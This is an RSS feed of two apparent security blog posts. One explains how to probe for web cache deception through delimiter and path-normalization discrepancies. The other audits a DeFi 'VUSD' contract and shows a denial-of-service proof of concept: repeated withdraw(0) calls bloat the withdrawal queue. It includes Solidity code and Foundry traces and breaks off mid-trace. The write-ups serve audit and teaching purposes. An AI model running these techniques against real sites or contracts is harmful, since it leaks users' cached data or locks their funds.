<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Spider256 on Medium]]></title>
        <description><![CDATA[Stories by Spider256 on Medium]]></description>
        <link>https://medium.com/@spider-256?source=rss-4c2f9f19b232------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*_ljpUshLX4YQ7HFxKFG2tA.jpeg</url>
            <title>Stories by Spider256 on Medium</title>
            <link>https://medium.com/@spider-256?source=rss-4c2f9f19b232------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 04:12:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@spider-256/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Have you ever wonder how Origin Server and cache server manages or handles request and there…]]></title>
            <link>https://spider-256.medium.com/have-you-ever-wonder-how-origin-server-and-cache-server-manages-or-handles-request-and-there-4fc89fc33465?source=rss-4c2f9f19b232------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fc89fc33465</guid>
            <dc:creator><![CDATA[Spider256]]></dc:creator>
            <pubDate>Thu, 19 Nov 2026 19:01:44 GMT</pubDate>
            <atom:updated>2026-11-19T19:01:44.430Z</atom:updated>
            <content:encoded><![CDATA[<h3>Have you ever wonder how <strong>Origin Server</strong> and <strong>cache serve</strong>r manages or handles request and there respective responses ?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJDyTGRtKorRz1epYlGnwg.png" /></figure><p>Yes, a vulnerability arise when origin server and cache server are not configured properly or misconfigured.</p><ul><li>Web deception vulnerability can be understood as when a origin server or cache server treats a URL containing sensitive information distinctly which results in leaking the sensitive info to the attacker or any third party.</li><li>Mainly if the response from the origin server is cacheable then the website or web application can be vulnerable.</li><li>There are ways to exploit or to know whether a web page is vulnerable to Deception attack:</li><li>Map URL to static directory</li><li>Process delimiter character</li><li>Normalize paths{by origin server / by cache server}</li><li>If the origin servers responded with or treats the decorated URL distinctly from base URL then the attack or exploitation is dead.</li><li>If the origin servers responded or treats the decorated URL with the same response that origin server responds to the base URL and it is cached independently decides that the URL is static then</li><li>under these two condition:</li><li>A web site is vulnerable</li></ul><h3>Delimiter Discrepancies:</h3><ul><li>Delimiter are the different character that are use in URL to specify the boundaries between different elements in URL</li><li>Discrepancies is the different response or outcome by origin server and cache server for use of delimiter in URL that can result in web deception vulnerability.</li><li>Encode character may also be used as delimiter</li><li>Exploit:</li><li>Identify the delimiter that is used by the origin server but not by the cache.</li><li>Add an arbitrary string to the dynamic path of the request</li><li>/settings/user/list -&gt; /settings/user/listxys</li><li>If the response for constructed request is same as the base URL then add a delimiter before the arbitrary string after the dynamic path.</li><li>If the response is still identical then that particular character is the delimiter.</li></ul><h3>Normalization Discrepancies</h3><ul><li>Normalization involves converting various URL path into standard format</li><li>varies from parser to parser</li><li>Includes decoding of path traversal and resolving of dot-segmentation</li><li>By origin server</li><li>send request to non — cacheable resource</li><li>add a path traversal sequence and arbitrary directory at start of the path.</li><li>Example:</li><li>/my-account -&gt; /&lt;static_path&gt;/..%2F&lt;dynamic_path&gt;</li><li>If the response for decorated request matches the base response then Origin server decodes the slash and resolves the dot-segments</li><li>If the response is something like 404, this indicates the path has been interpreted as the decorated request and origin server has not resolves or decodes it.</li><li>By cache server</li><li>identify potential static directories</li><li>Focus on static resources, choose a request with cached response with path traversal and an arbitrary directory at the start of the dynamic path.</li><li>choose a response that have an evidence of being cached.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fc89fc33465" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How 2022Humble was Vulnerable DOS attack Vector.]]></title>
            <link>https://spider-256.medium.com/how-2022humble-was-vulnerable-dos-attack-vector-33978adde211?source=rss-4c2f9f19b232------2</link>
            <guid isPermaLink="false">https://medium.com/p/33978adde211</guid>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[competitive-analysis]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[do]]></category>
            <dc:creator><![CDATA[Spider256]]></dc:creator>
            <pubDate>Tue, 04 Aug 2026 19:51:05 GMT</pubDate>
            <atom:updated>2026-08-04T19:51:05.828Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RUp7aVAu_E3bDJNlWswYdQ.png" /></figure><h3>What is 2022Humble ?</h3><ul><li>A DeFi protocol that uses ERC20 token standard as collateral and uses VUSD as a native Token for the protocol.</li><li>This protocol was made for perpetual exchange on Avalanche</li></ul><h3>The Bug — DOS{Denial Of Service}</h3><ul><li>The contract was found to be vulnerable to DOS{Denial of Service} which leads to complete shutdown of the protocol.</li></ul><h3>DOS attack</h3><ul><li>DOS: an attack that prevents legitimate users from using the protocol’s core functionality</li><li>DOS attack are easy to avoid but if present then its really critical for the protocol as it is capable of locking the users funds inside the block-chain which affects:</li><li>user interaction</li><li>user experience</li><li>user trust</li><li>Legitimate withdrawals permanently blocked</li><li>User funds locked in contract</li><li>Protocol reputation damage</li></ul><h3>The Bug — Exploit:</h3><h4>Logic Flow:</h4><pre>function init(address _governance) external {<br> super.initialize(“Hubble USD”, “hUSD”); // has initializer modifier<br> <br> _setGovernace(_governance);<br> <br> maxWithdrawalProcesses = 100;<br>} //done<br>function mintWithReserve(address to, uint256 amount) external {<br> reserveToken.safeTransferFrom(msg.sender, address(this), amount);<br> <br> _mint(to, amount);<br>} //done<br>function withdraw(uint256 amount) external {<br> burn(amount);<br> <br> withdrawals.push(Withdrawal(msg.sender, amount));<br>} //done<br>function processWithdrawals() external {<br> uint256 reserve = reserveToken.balanceOf(address(this));<br> <br> require(<br> reserve &gt;= withdrawals[start].amount, <br> &quot;Cannot process withdrawals at this time: Not enough balance&quot;<br> );<br>uint256 i = start;<br>while (<br> <br> i &lt; withdrawals.length &amp;&amp; (i - start) &lt;= maxWithdrawalProcesses<br> ) {<br> Withdrawal memory withdrawal = withdrawals[i];<br>if (reserve &lt; withdrawal.amount) {<br> break;<br> }<br> reserveToken.safeTransfer(withdrawal.usr, withdrawal.amount);<br> reserve -= withdrawal.amount;<br> i += 1;<br> }<br>start = i;<br>}</pre><ul><li>This contract have main 4 function</li></ul><h3>The Fundamental Test</h3><ul><li>init(): the function is called to set the name and the symbol of the Native token and also to set the governance who decides the maximum withdrawal process by default it is set to 100. This function give the access roles to the user who calls the function</li><li><strong><em>Test</em></strong></li></ul><pre>Ran 1 test for test/TestVUSD.t.sol:TestVUSD<br>[PASS] testinit() (gas: 393543)<br>Traces:<br> [393543] TestVUSD::testinit()<br> ├─ [0] VM::startPrank(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ └─ ← [Return]<br> ├─ [2562] VUSD::maxWithdrawalProcesses() [staticcall]<br> │ └─ ← [Return] 0<br> ├─ [372262] VUSD::init(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ └─ ← [Stop]<br> ├─ [562] VUSD::maxWithdrawalProcesses() [staticcall]<br> │ └─ ← [Return] 100<br> ├─ [600] VUSD::governance() [staticcall]<br> │ └─ ← [Return] spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]<br> ├─ [1526] VUSD::name() [staticcall]<br> │ └─ ← [Return] “Hubble USD”<br> ├─ [0] VM::assertEq(“Hubble USD”, “Hubble USD”) [staticcall]<br> │ └─ ← [Return]<br> ├─ [0] VM::stopPrank()<br> │ └─ ← [Return]<br> └─ ← [Stop]<br>Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.15ms (1.65ms CPU time)</pre><ul><li>mintWithReserve(): the function is use to mint VUSD token in change of any ERC20 compatible token.</li><li><strong><em>Test</em></strong></li></ul><pre>[PASS] testmintWithReserve() (gas: 552695)<br>Logs:<br> VUSD balance of spider: 1000000000000000000<br>Traces:<br> [592495] TestVUSD::testmintWithReserve()<br> ├─ [0] VM::startPrank(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ └─ ← [Return]<br> ├─ [374362] VUSD::init(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ └─ ← [Stop]<br> ├─ [47466] MockERC20::mint(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], 2000000000000000000 [2e18])<br> │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], value: 2000000000000000000 [2e18])<br> │ └─ ← [Stop]<br> ├─ [25243] MockERC20::approve(VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 2000000000000000000 [2e18])<br> │ ├─ emit Approval(owner: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], spender: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 2000000000000000000 [2e18])<br> │ └─ ← [Return] true<br> ├─ [79146] VUSD::mintWithReserve(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], 1000000000000000000 [1e18])<br> │ ├─ [28855] MockERC20::transferFrom(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 1000000000000000000 [1e18])<br> │ │ ├─ emit Transfer(from: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], to: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 1000000000000000000 [1e18])<br> │ │ ├─ emit Approval(owner: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], spender: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 1000000000000000000 [1e18])<br> │ │ └─ ← [Return] true<br> │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], value: 1000000000000000000 [1e18])<br> │ └─ ← [Stop]<br> ├─ [35346] VUSD::mintWithReserve(void: [0xBDDB64e1bB4902f1E3bA4B72dC6d134BD59B4B3E], 1000000000000000000 [1e18])<br> │ ├─ [6955] MockERC20::transferFrom(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 1000000000000000000 [1e18])<br> │ │ ├─ emit Transfer(from: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], to: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 1000000000000000000 [1e18])<br> │ │ ├─ emit Approval(owner: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], spender: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 0)<br> │ │ └─ ← [Return] true<br> │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: void: [0xBDDB64e1bB4902f1E3bA4B72dC6d134BD59B4B3E], value: 1000000000000000000 [1e18])<br> │ └─ ← [Stop]<br> ├─ [887] VUSD::balanceOf(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]) [staticcall]<br> │ └─ ← [Return] 1000000000000000000 [1e18]<br> ├─ [0] console::log(“VUSD balance of spider: “, 1000000000000000000 [1e18]) [staticcall]<br> │ └─ ← [Stop]<br> ├─ [887] VUSD::balanceOf(void: [0xBDDB64e1bB4902f1E3bA4B72dC6d134BD59B4B3E]) [staticcall]<br> │ └─ ← [Return] 1000000000000000000 [1e18]<br> ├─ [887] VUSD::balanceOf(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]) [staticcall]<br> │ └─ ← [Return] 1000000000000000000 [1e18]<br> ├─ [0] VM::stopPrank()<br> │ └─ ← [Return]<br> └─ ← [Stop]<br>Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.86ms (2.22ms CPU time- withdraw(uint256 amount): The function is use to burn the minted VUSD token from the user and push address of the user and the withdrawn amount  to withdrawals array.</pre><ul><li>withdraw(uint256 amount): The function is use to burn the minted VUSD token from the user and push address of the user and the withdrawn amount to withdrawals array.</li><li><strong><em>Test</em></strong></li></ul><pre>[PASS] testwithdraw() (gas: 549404)<br>Logs:<br> Balance of spider: 1000000000000000000<br> Balance of spider in VUSD: 1000000000000000000<br> Balance of spider in VUSD: 0<br>Traces:<br> [629004] TestVUSD::testwithdraw()<br> ├─ [0] VM::startPrank(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ └─ ← [Return]<br> ├─ [374362] VUSD::init(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ └─ ← [Stop]<br> ├─ [47466] MockERC20::mint(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], 1000000000000000000 [1e18])<br> │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], value: 1000000000000000000 [1e18])<br> │ └─ ← [Stop]<br> ├─ [25243] MockERC20::approve(VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 1000000000000000000 [1e18])<br> │ ├─ emit Approval(owner: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], spender: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 1000000000000000000 [1e18])<br> │ └─ ← [Return] true<br> ├─ [863] MockERC20::balanceOf(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]) [staticcall]<br> │ └─ ← [Return] 1000000000000000000 [1e18]<br> ├─ [0] console::log(&quot;Balance of spider: &quot;, 1000000000000000000 [1e18]) [staticcall]<br> │ └─ ← [Stop]<br> ├─ [79146] VUSD::mintWithReserve(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], 1000000000000000000 [1e18])<br> │ ├─ [28855] MockERC20::transferFrom(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 1000000000000000000 [1e18])<br> │ │ ├─ emit Transfer(from: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], to: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 1000000000000000000 [1e18])<br> │ │ ├─ emit Approval(owner: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], spender: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 0)<br> │ │ └─ ← [Return] true<br> │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], value: 1000000000000000000 [1e18])<br> │ └─ ← [Stop]<br> ├─ [887] VUSD::balanceOf(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]) [staticcall]<br> │ └─ ← [Return] 1000000000000000000 [1e18]<br> ├─ [0] console::log(&quot;Balance of spider in VUSD: &quot;, 1000000000000000000 [1e18]) [staticcall]<br> │ └─ ← [Stop]<br> ├─ [70406] VUSD::withdraw(1000000000000000000 [1e18])<br> │ ├─ emit Transfer(from: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000 [1e18])<br> │ └─ ← [Stop]<br> ├─ [887] VUSD::balanceOf(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]) [staticcall]<br> │ └─ ← [Return] 0<br> ├─ [0] console::log(&quot;Balance of spider in VUSD: &quot;, 0) [staticcall]<br> │ └─ ← [Stop]<br> ├─ [887] VUSD::balanceOf(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]) [staticcall]<br> │ └─ ← [Return] 0<br> ├─ [0] VM::stopPrank()<br> │ └─ ← [Return]<br> └─ ← [Stop]<br>Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.63ms (2.37ms CPU time)</pre><ul><li>processWithdrawals(): This function withdraws the ERC20 token of Contract and safetransfer to user which should be present in the withdrawals array.</li><li><strong><em>Test</em></strong></li></ul><pre>[PASS] testprocessWithdrawals() (gas: 612344)<br>Logs:<br> VUSD balance of spider: 1000000000000000000<br> MERC20 balance of spider 1000000000000000000<br> MERC20 token balance of VUSD contract: 1000000000000000000<br> VUSD contract balance: 0<br> VUSD balance of spider: 0<br> <br>Traces:<br> [672044] TestVUSD::testprocessWithdrawals()<br> ├─ [0] VM::startPrank(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ └─ ← [Return]<br> ├─ [374362] VUSD::init(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ └─ ← [Stop]<br> ├─ [47466] MockERC20::mint(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], 2000000000000000000 [2e18])<br> │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], value: 2000000000000000000 [2e18])<br> │ └─ ← [Stop]<br> ├─ [25243] MockERC20::approve(VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 2000000000000000000 [2e18])<br> │ ├─ emit Approval(owner: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], spender: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 2000000000000000000 [2e18])<br> │ └─ ← [Return] true<br> ├─ [79146] VUSD::mintWithReserve(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], 1000000000000000000 [1e18])<br> │ ├─ [28855] MockERC20::transferFrom(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 1000000000000000000 [1e18])<br> │ │ ├─ emit Transfer(from: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], to: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 1000000000000000000 [1e18])<br> │ │ ├─ emit Approval(owner: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], spender: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 1000000000000000000 [1e18])<br> │ │ └─ ← [Return] true<br> │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], value: 1000000000000000000 [1e18])<br> │ └─ ← [Stop]<br> ├─ [887] VUSD::balanceOf(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]) [staticcall]<br> │ └─ ← [Return] 1000000000000000000 [1e18]<br> ├─ [0] console::log(&quot;VUSD balance of spider: &quot;, 1000000000000000000 [1e18]) [staticcall]<br> │ └─ ← [Stop]<br> ├─ [863] MockERC20::balanceOf(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]) [staticcall]<br> │ └─ ← [Return] 1000000000000000000 [1e18]<br> ├─ [0] console::log(&quot;MERC20 balance of spider&quot;, 1000000000000000000 [1e18]) [staticcall]<br> │ └─ ← [Stop]<br> ├─ [863] MockERC20::balanceOf(VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1]) [staticcall]<br> │ └─ ← [Return] 1000000000000000000 [1e18]<br> ├─ [0] console::log(&quot;MERC20 token balance of VUSD contract: &quot;, 1000000000000000000 [1e18]) [staticcall]<br> │ └─ ← [Stop]<br> ├─ [2887] VUSD::balanceOf(VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1]) [staticcall]<br> │ └─ ← [Return] 0<br> ├─ [0] console::log(&quot;VUSD contract balance: &quot;, 0) [staticcall]<br> │ └─ ← [Stop]<br> ├─ [70406] VUSD::withdraw(1000000000000000000 [1e18])<br> │ ├─ emit Transfer(from: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000 [1e18])<br> │ └─ ← [Stop]<br> ├─ [887] VUSD::balanceOf(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]) [staticcall]<br> │ └─ ← [Return] 0<br> ├─ [0] console::log(&quot;VUSD balance of spider: &quot;, 0) [staticcall]<br> │ └─ ← [Stop]<br> ├─ [32297] VUSD::processWithdrawals()<br> │ ├─ [863] MockERC20::balanceOf(VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1]) [staticcall]<br> │ │ └─ ← [Return] 1000000000000000000 [1e18]<br> │ ├─ [4042] MockERC20::transfer(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], 1000000000000000000 [1e18])<br> │ │ ├─ emit Transfer(from: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], value: 1000000000000000000 [1e18])<br> │ │ └─ ← [Return] true<br> │ └─ ← [Stop]<br> ├─ [863] MockERC20::balanceOf(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]) [staticcall]<br> │ └─ ← [Return] 2000000000000000000 [2e18]<br> ├─ [863] MockERC20::balanceOf(VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1]) [staticcall]<br> │ └─ ← [Return] 0<br> ├─ [0] VM::stopPrank()<br> │ └─ ← [Return]<br> └─ ← [Stop]</pre><h3>Exploit Attack</h3><pre>As in withdraw function a uint256 amount is the parameter.<br><br>function withdraw(uint256 amount) external {<br>   burn(amount);<br>   withdrawals.push(Withdrawal(msg.sender, amount));<br>}<br><br>so in this function it can be seen that any uint256 value can be passed but what <br>starting from 0 to type(uint256).max if user have the VUSD tokens in their balance.<br>What if user calls the withdraw function with the amount value set to 0.<br>as there is no minimum value restriction. So user can call it with 0.<br>If user &#39;A&#39; calls the withdraw(0) for multiple times the user wont lose the there tokens it will populate the withdraw array with the user address and 0 amount.<br>And when processWithdrawal() is called it iterates to all the elements of the array which will revert OutOfGas which results in protocol failure.</pre><ul><li><strong><em>Test</em></strong></li></ul><p>[FAIL: EvmError: Revert] testprocesswithdrawWith0() (gas: 1073720510)<br>Logs:<br> Balance of spider: 1000000000000000000<br> <br>Traces:</p><pre>[11286129] TestVUSD::setUp()<br> ├─ [5816564] → new DeployScript@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f<br> │ └─ ← [Return] 28935 bytes of code<br> ├─ [5377007] DeployScript::run()<br> │ ├─ [0] VM::startBroadcast()<br> │ │ └─ ← [Return]<br> │ ├─ [1156203] → new MockERC20@0x34A1D3fff3958843C43aD80F30b94c510645C316<br> │ │ └─ ← [Return] 5541 bytes of code<br> │ ├─ [4146444] → new VUSD@0x90193C961A926261B756D1E5bb255e67ff9498A1<br> │ │ └─ ← [Return] 20706 bytes of code<br> │ ├─ [0] VM::stopBroadcast()<br> │ │ └─ ← [Return]<br> │ └─ ← [Return] VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], MockERC20: [0x34A1D3fff3958843C43aD80F30b94c510645C316]<br> ├─ [0] VM::deal(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], 1000000000000000000 [1e18])<br> │ └─ ← [Return]<br> └─ ← [Stop]<br> [1073720510] TestVUSD::testprocesswithdrawWith0()<br>├─ [0] VM::startPrank(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ └─ ← [Return]<br> ├─ [374362] VUSD::init(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], sender: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63])<br> │ └─ ← [Stop]<br> ├─ [47466] MockERC20::mint(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], 1000000000000000000 [1e18])<br> │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], value: 1000000000000000000 [1e18])<br> │ └─ ← [Stop]<br> ├─ [25243] MockERC20::approve(VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 1000000000000000000 [1e18])<br> │ ├─ emit Approval(owner: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], spender: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 1000000000000000000 [1e18])<br> │ └─ ← [Return] true<br> ├─ [863] MockERC20::balanceOf(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63]) [staticcall]<br> │ └─ ← [Return] 1000000000000000000 [1e18]<br> ├─ [0] console::log(&quot;Balance of spider: &quot;, 1000000000000000000 [1e18]) [staticcall]<br> │ └─ ← [Stop]<br> ├─ [79146] VUSD::mintWithReserve(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], 1000000000000000000 [1e18])<br> │ ├─ [28855] MockERC20::transferFrom(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 1000000000000000000 [1e18])<br> │ │ ├─ emit Transfer(from: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], to: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 1000000000000000000 [1e18])<br> │ │ ├─ emit Approval(owner: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], spender: VUSD: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 0)<br> │ │ └─ ← [Return] true<br> │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], value: 1000000000000000000 [1e18])<br> │ └─ ← [Stop]<br> ├─ [50506] VUSD::withdraw(0)<br> │ ├─ emit Transfer(from: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], to: 0x0000000000000000000000000000000000000000, value: 0)<br> │ └─ ← [Stop]<br> ├─ [28606] VUSD::withdraw(0)<br> │ ├─ emit Transfer(from: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], to: 0x0000000000000000000000000000000000000000, value: 0)<br> │ └─ ← [Stop]<br> ├─ [28606] 